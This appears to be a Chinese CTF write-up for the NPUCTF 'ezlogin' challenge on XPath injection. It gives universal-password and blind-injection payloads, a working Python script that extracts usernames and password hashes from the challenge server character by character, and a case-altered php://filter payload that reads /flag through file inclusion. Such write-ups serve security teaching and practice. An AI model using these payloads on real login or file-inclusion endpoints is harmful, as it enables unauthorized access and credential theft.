NPUCTF ezlogin

ezlogin

考点:xpath注入

xpath注入:https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
这里稍微总结一下,例如有这样一个xml:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
</root>

查询语句为:

"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";

1.万能密码:admin' or '1,这样被拼接为:

/root/users/user[username/text()='admin' or '1' and ...

由于xpath中没有注释,所以需要手动闭合单引号

或:admin'] | //* | //*[',意思是遍历结点

2.盲注:

' or count(/)=1 or '1 判断有几个根节点
' or string-length(name(/*[1]))=1 or '1 获取根节点长度
' or substring(name(/*[1]), 1, 1)='a' or '1 获取内容

例如substring(/root/users/user[1]/password/text(),1,1)是取admin的第一位密码
在这里插入图片描述
首先看一下能否盲注:' or count(/)=1 or '1
在这里插入图片描述
' or count(/)=2 or '1
在这里插入图片描述
可盲注,然后这里用了一个token,这个token很快就会过期,所以还需要正则匹配一下

import requests
import re
sess = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
	for s in strs:
		url='http://ha1cyon-ctf.fun:30015/login.php'#注意加login.php
		token=re.findall(param,sess.get(url).text)[0]
		#第一个根节点为root
		#data="<username>' or substring(name(/*[1]), '"+str(i)+"', 1)='"+str(s)+"' or '1</username><password>123</password><token>"+token+"</token>"

		#第二个节点为accounts
		#data = "<username>' or substring(name(/root/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

		#第三个节点为user
		#data = "<username>' or substring(name(/root/accounts/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

		#遍历[1][2][3],在user节点下得到id,username,password
		#data = "<username>' or substring(name(/root/accounts/user/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

		#之后取user下的子节点username(user[1]),得到 gtfly123
		#取第二个子节点user[2]结果是adm1n
		data = "<username>' or substring(/root/accounts/user[2]/password/text(), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
		res=sess.post(url=url,headers=headers,data=data)
		if '非法操作' in res.text:
			t+=s
			print(t)
			break

最后可以判断格式为:

<root>
	<accounts>
		<user>
			<id></id>
			<username>gtfly123</username>
			<password>e10adc3949ba59abbe56e057f20f883e</password>
		</user>
		<user>
			<id></id>
			<username>adm1n</username>
			<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
		</user>
	</accounts>
</root>

解密一下adm1n,gtfly123登陆后台,然后是一个文件包含,但返回结果不允许出现flag,并且过滤了php、base字符,可用大小写绕过:
Php://filter/convert.Base64-encode/resource=/flag
在这里插入图片描述

原文地址:https://www.cnblogs.com/W4nder/p/12747742.html